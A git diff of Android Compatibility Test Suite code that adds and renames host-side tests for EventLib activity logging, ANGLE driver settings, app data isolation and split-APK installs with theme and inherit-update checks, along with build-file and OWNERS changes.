diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
new file mode 100644
index 0000000..c1f2716
--- /dev/null
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class EventLibActivityTest {
+
+ private static final String GENERATED_ACTIVITY_CLASS_NAME
+ = "com.android.generatedEventLibActivity";
+
+ private static final Context CONTEXT =
+ InstrumentationRegistry.getInstrumentation().getContext();
+
+ @Before
+ public void setUp() {
+ EventLogs.resetLogs();
+ }
+
+ @Test
+ public void launchEventLibActivity_logsActivityCreatedEvent() {
+ Intent intent = new Intent();
+ intent.setPackage(CONTEXT.getPackageName());
+ intent.setClassName(CONTEXT.getPackageName(), EventLibActivity.class.getName());
+ intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+ CONTEXT.startActivity(intent);
+
+ EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+ .queryPackage(CONTEXT.getPackageName())
+ .withActivityClass(EventLibActivity.class);
+
+ assertThat(eventLogs.poll()).isNotNull();
+ }
+
+ @Test
+ public void launchEventLibActivity_withGeneratedActivityClass_logsActivityCreatedEventWithCorrectClassName() {
+ Intent intent = new Intent();
+ intent.setPackage(CONTEXT.getPackageName());
+ intent.setClassName(CONTEXT.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+ intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+ CONTEXT.startActivity(intent);
+
+ EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+ .queryPackage(CONTEXT.getPackageName())
+ .withActivityName(GENERATED_ACTIVITY_CLASS_NAME);
+
+ assertThat(eventLogs.poll()).isNotNull();
+ }
+}
diff --git a/common/device-side/eventlib/src/test/testapp/Android.bp b/common/device-side/eventlib/src/test/testapp/Android.bp
index 73a1cbd..edf5790 100644
--- a/common/device-side/eventlib/src/test/testapp/Android.bp
+++ b/common/device-side/eventlib/src/test/testapp/Android.bp
@@ -8,4 +8,5 @@
"EventLib"
],
manifest: "src/main/AndroidManifest.xml",
+ min_sdk_version: "26"
}
\ No newline at end of file
diff --git a/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml b/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
index 9283e0e..f915144 100644
--- a/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
@@ -17,6 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.eventlib.tests.testapp">
+ <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
<application>
<activity android:name=".EventLoggingActivity"
android:exported="true">
diff --git a/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java b/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
index 32ed295..63ca5be 100644
--- a/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
+++ b/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
@@ -1,7 +1,6 @@
package com.android.eventlib.tests.testapp;
import android.app.Activity;
-import android.util.Log;
import com.android.eventlib.events.CustomEvent;
@@ -10,6 +9,7 @@
* passed in tag and data.
*/
public class EventLoggingActivity extends Activity {
+
@Override
protected void onResume() {
super.onResume();
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 9bb55fa..45bb43e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -110,6 +110,12 @@
return (angleSupported != null) && (angleSupported.equals("true"));
}
+ static boolean isNativeDriverAngle(ITestDevice device) throws Exception {
+ String driverProp = device.getProperty("ro.hardware.egl");
+
+ return (driverProp != null) && (driverProp.equals("angle"));
+ }
+
static void startActivity(ITestDevice device, String action) throws Exception {
// Run the ANGLE activity so it'll clear up any 'default' settings.
device.executeShellCommand("am start --user " + device.getCurrentUser() +
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index b63dd99..9431088 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -127,6 +127,7 @@
@Test
public void testUseDefaultDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -144,6 +145,7 @@
@Test
public void testUseAngleDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -161,6 +163,7 @@
@Test
public void testUseNativeDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -178,6 +181,7 @@
@Test
public void testSettingsLengthMismatch() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -201,6 +205,7 @@
@Test
public void testUseInvalidDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -217,6 +222,7 @@
@Test
public void testUpdateDriverValues() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -239,6 +245,7 @@
@Test
public void testMultipleDevOptionsAngleNative() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -263,6 +270,7 @@
@Test
public void testMultipleUpdateDriverValues() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -450,6 +458,7 @@
@Test
public void testAngleInUseDialogBoxWithAngle() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
@@ -465,6 +474,7 @@
@Test
public void testAngleInUseDialogBoxWithNative() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 326cb7a..4f0859e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -97,6 +97,7 @@
@Test
public void testEmptyRulesFile() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
pushRulesFile(RULES_FILE_EMPTY);
@@ -113,6 +114,7 @@
@Test
public void testEnableAngleRulesFile() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
pushRulesFile(RULES_FILE_ENABLE_ANGLE);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index bd52d33..77b059e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -179,6 +179,10 @@
@Test
public void testDirectBootModeWorks() throws Exception {
+ if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
+ LogUtil.CLog.d("Device is NOT encrypted with file-based encryption. skipping test");
+ return;
+ }
assumeTrue("Screen lock is not supported so skip direct boot test",
hasDeviceFeature("android.software.secure_lock_screen"));
// Install AppA and verify no data stored
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index d536ade..ebad33c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,6 +16,8 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.SecurityTest;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -144,6 +146,7 @@
}
}
+ @SecurityTest
public void testAfterMoveDocumentInStorage_revokeUriPermission() throws Exception {
runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
"testAfterMoveDocumentInStorage_revokeUriPermission");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 3c8b4a6..45f6f4b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -39,7 +39,7 @@
static final String APK_NO_RESTART_FEATURE = "CtsNoRestartFeature.apk";
static final String APK_NEED_SPLIT_BASE = "CtsNeedSplitApp.apk";
- static final String APK_NEED_SPLIT_FEATURE = "CtsNeedSplitFeature.apk";
+ static final String APK_NEED_SPLIT_FEATURE_WARM = "CtsNeedSplitFeatureWarm.apk";
static final String APK_NEED_SPLIT_CONFIG = "CtsNeedSplitApp_xxhdpi-v4.apk";
static final String PKG = "com.android.cts.splitapp";
@@ -53,6 +53,7 @@
static final String APK_xxhdpi = "CtsSplitApp_xxhdpi-v4.apk";
private static final String APK_v7 = "CtsSplitApp_v7.apk";
+ private static final String APK_v23 = "CtsSplitApp_v23.apk";
private static final String APK_fr = "CtsSplitApp_fr.apk";
private static final String APK_de = "CtsSplitApp_de.apk";
@@ -73,8 +74,15 @@
private static final String APK_DIFF_CERT = "CtsSplitAppDiffCert.apk";
private static final String APK_DIFF_CERT_v7 = "CtsSplitAppDiffCert_v7.apk";
- private static final String APK_FEATURE = "CtsSplitAppFeature.apk";
- private static final String APK_FEATURE_v7 = "CtsSplitAppFeature_v7.apk";
+ private static final String APK_FEATURE_WARM = "CtsSplitAppFeatureWarm.apk";
+ private static final String APK_FEATURE_WARM_v7 = "CtsSplitAppFeatureWarm_v7.apk";
+ private static final String APK_FEATURE_WARM_v23 = "CtsSplitAppFeatureWarm_v23.apk";
+
+ private static final String APK_FEATURE_ROSE = "CtsSplitAppFeatureRose.apk";
+ private static final String APK_FEATURE_ROSE_v23 = "CtsSplitAppFeatureRose_v23.apk";
+
+ private static final String APK_REVISION_A = "CtsSplitAppRevisionA.apk";
+ private static final String APK_FEATURE_WARM_REVISION_A = "CtsSplitAppFeatureWarmRevisionA.apk";
static final HashMap<String, String> ABI_TO_APK = new HashMap<>();
@@ -452,44 +460,65 @@
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testFeatureBase_full() throws Exception {
- testFeatureBase(false);
+ public void testFeatureWarmBase_full() throws Exception {
+ testFeatureWarmBase(false);
}
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
- public void testFeatureBase_instant() throws Exception {
- testFeatureBase(true);
+ public void testFeatureWarmBase_instant() throws Exception {
+ testFeatureWarmBase(true);
}
- private void testFeatureBase(boolean instant) throws Exception {
- new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).run();
- runDeviceTests(PKG, CLASS, "testFeatureBase");
+ private void testFeatureWarmBase(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+ runDeviceTests(PKG, CLASS, "testFeatureWarmBase");
}
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testFeatureApi_full() throws Exception {
- testFeatureApi(false);
+ public void testFeatureWarmApi_full() throws Exception {
+ testFeatureWarmApi(false);
}
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
- public void testFeatureApi_instant() throws Exception {
- testFeatureApi(true);
+ public void testFeatureWarmApi_instant() throws Exception {
+ testFeatureWarmApi(true);
}
- private void testFeatureApi(boolean instant) throws Exception {
- new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).addFile(APK_FEATURE_v7).run();
- runDeviceTests(PKG, CLASS, "testFeatureApi");
+ private void testFeatureWarmApi(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+ .addFile(APK_FEATURE_WARM_v7).run();
+ runDeviceTests(PKG, CLASS, "testFeatureWarmApi");
}
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testInheritUpdatedBase() throws Exception {
- // TODO: flesh out this test
+ public void testInheritUpdatedBase_full() throws Exception {
+ testInheritUpdatedBase(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testInheritUpdatedBase_instant() throws Exception {
+ testInheritUpdatedBase(true);
+ }
+ public void testInheritUpdatedBase(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+ new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_REVISION_A).run();
+ runDeviceTests(PKG, CLASS, "testInheritUpdatedBase_withRevisionA", instant);
}
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testInheritUpdatedSplit() throws Exception {
- // TODO: flesh out this test
+ public void testInheritUpdatedSplit_full() throws Exception {
+ testInheritUpdatedSplit(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testInheritUpdatedSplit_instant() throws Exception {
+ testInheritUpdatedSplit(true);
+ }
+ private void testInheritUpdatedSplit(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+ new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_FEATURE_WARM_REVISION_A).run();
+ runDeviceTests(PKG, CLASS, "testInheritUpdatedSplit_withRevisionA", instant);
}
@Test
@@ -535,17 +564,17 @@
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testRequiredSplitInstalledFeature_full() throws Exception {
- testRequiredSplitInstalledFeature(false);
+ public void testRequiredSplitInstalledFeatureWarm_full() throws Exception {
+ testRequiredSplitInstalledFeatureWarm(false);
}
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
- public void testRequiredSplitInstalledFeature_instant() throws Exception {
- testRequiredSplitInstalledFeature(true);
+ public void testRequiredSplitInstalledFeatureWarm_instant() throws Exception {
+ testRequiredSplitInstalledFeatureWarm(true);
}
- private void testRequiredSplitInstalledFeature(boolean instant) throws Exception {
- new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE).addFile(APK_NEED_SPLIT_FEATURE)
- .run();
+ private void testRequiredSplitInstalledFeatureWarm(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE)
+ .addFile(APK_NEED_SPLIT_FEATURE_WARM).run();
}
@Test
@@ -577,11 +606,11 @@
// start with a base and two splits
new InstallMultiple(instant)
.addFile(APK_NEED_SPLIT_BASE)
- .addFile(APK_NEED_SPLIT_FEATURE)
+ .addFile(APK_NEED_SPLIT_FEATURE_WARM)
.addFile(APK_NEED_SPLIT_CONFIG)
.run();
// it's okay to remove one of the splits
- new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature").run();
+ new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature_warm").run();
// but, not to remove all of them
new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.xxhdpi")
.runExpectingFailure("INSTALL_FAILED_MISSING_SPLIT");
@@ -606,4 +635,128 @@
new InstallMultiple(instant).addArg("-r").addFile(APK_DIFF_VERSION).run();
runDeviceTests(PKG, CLASS, "testCodeCacheRead");
}
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installBase_full() throws Exception {
+ testTheme_installBase(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installBase_instant() throws Exception {
+ testTheme_installBase(true);
+ }
+ private void testTheme_installBase(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBase_baseApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installBaseV23_full() throws Exception {
+ testTheme_installBaseV23(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installBaseV23_instant() throws Exception {
+ testTheme_installBaseV23(true);
+ }
+ private void testTheme_installBaseV23(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_v23).run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBaseLt_baseLtApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarm_full() throws Exception {
+ testTheme_installFeatureWarm(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarm_instant() throws Exception {
+ testTheme_installFeatureWarm(true);
+ }
+ private void testTheme_installFeatureWarm(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarmV23_full() throws Exception {
+ testTheme_installFeatureWarmV23(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarmV23_instant() throws Exception {
+ testTheme_installFeatureWarmV23(true);
+ }
+ private void testTheme_installFeatureWarmV23(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+ .addFile(APK_FEATURE_WARM_v23).run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarmLt_warmLtApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBaseLt_baseLtApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarmV23_removeV23_full() throws Exception {
+ testTheme_installFeatureWarmV23_removeV23(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarmV23_removeV23_instant() throws Exception {
+ testTheme_installFeatureWarmV23_removeV23(true);
+ }
+ private void testTheme_installFeatureWarmV23_removeV23(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+ .addFile(APK_FEATURE_WARM_v23).run();
+ new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.v23")
+ .removeSplit("feature_warm.config.v23").run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarmAndRose_full() throws Exception {
+ testTheme_installFeatureWarmAndRose(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarmAndRose_instant() throws Exception {
+ testTheme_installFeatureWarmAndRose(true);
+ }
+ private void testTheme_installFeatureWarmAndRose(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+ .addFile(APK_FEATURE_ROSE).run();
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRose_roseApplied");
+ runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarm_warmApplied");
+ runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRose_roseApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarmAndRoseV23_full() throws Exception {
+ testTheme_installFeatureWarmAndRoseV23(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarmAndRoseV23_instant() throws Exception {
+ testTheme_installFeatureWarmAndRoseV23(true);
+ }
+ private void testTheme_installFeatureWarmAndRoseV23(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_v23)
+ .addFile(APK_FEATURE_WARM).addFile(APK_FEATURE_WARM_v23)
+ .addFile(APK_FEATURE_ROSE).addFile(APK_FEATURE_ROSE_v23).run();
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRoseLt_roseLtApplied");
+ runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarmLt_warmLtApplied");
+ runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRoseLt_roseLtApplied");
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index dcba2a6..6834791 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -34,6 +34,7 @@
"cts",
"general-tests",
"mts",
+ "sts",
],
certificate: ":cts-testkey2",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
index 8bdc594..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
@@ -1,3 +1,4 @@
# Bug component: 95221
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
dikshag@google.com
-zemiao@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index 2e34b5e..ab0f334 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -30,6 +30,7 @@
"cts",
"general-tests",
"mts",
+ "sts",
],
certificate: ":cts-testkey1",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
index 212b91b..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
@@ -1,2 +1,4 @@
# Bug component: 95221
include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+dikshag@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index d75d4fc..c429885 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -494,7 +494,7 @@
final PendingIntent pendingIntent = PendingIntent.getActivity(
getContext(), WEB_LINK_REQUEST_CODE, intent,
- PendingIntent.FLAG_ONE_SHOT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pendingIntent.getIntentSender();
}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
index 2e48256..0fa8469 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
@@ -41,6 +41,7 @@
"xhdpi-v4",
"xxhdpi-v4",
"v7",
+ "v23",
"fr",
"de",
],
@@ -127,3 +128,25 @@
"general-tests",
],
}
+
+// Define a variant with different codes and resources for the inherit updated test of the base apk
+android_test_helper_app {
+ name: "CtsSplitAppRevisionA",
+ defaults: ["CtsSplitAppDefaults"],
+ srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+ resource_dirs: ["res", "revision_a/res"],
+ asset_dirs: ["revision_a/assets"],
+ manifest : "revision_a/AndroidManifest.xml",
+ package_splits: ["v7"],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--revision-code 10",
+ "--version-name OneHundredRevisionTen",
+ "--replace-version",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index 186c1aa..64010fc 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -39,6 +39,13 @@
<meta-data android:name="android.service.wallpaper"
android:resource="@xml/my_activity_meta"/>
</activity>
+ <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
<receiver android:name=".MyReceiver"
android:enabled="@bool/my_receiver_enabled"
android:exported="true">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
new file mode 100644
index 0000000..a691536
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsSplitAppFeatureRose",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ min_sdk_version: "4",
+ aapt_include_all_resources: true,
+ // Generate an api split.
+ package_splits: ["v23"],
+ certificate: ":cts-testkey1",
+ libs: ["CtsSplitApp"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ aaptflags: [
+ "--version-code 100",
+ "--version-name OneHundred",
+ "--replace-version",
+ "--package-id 0x81",
+ ],
+}
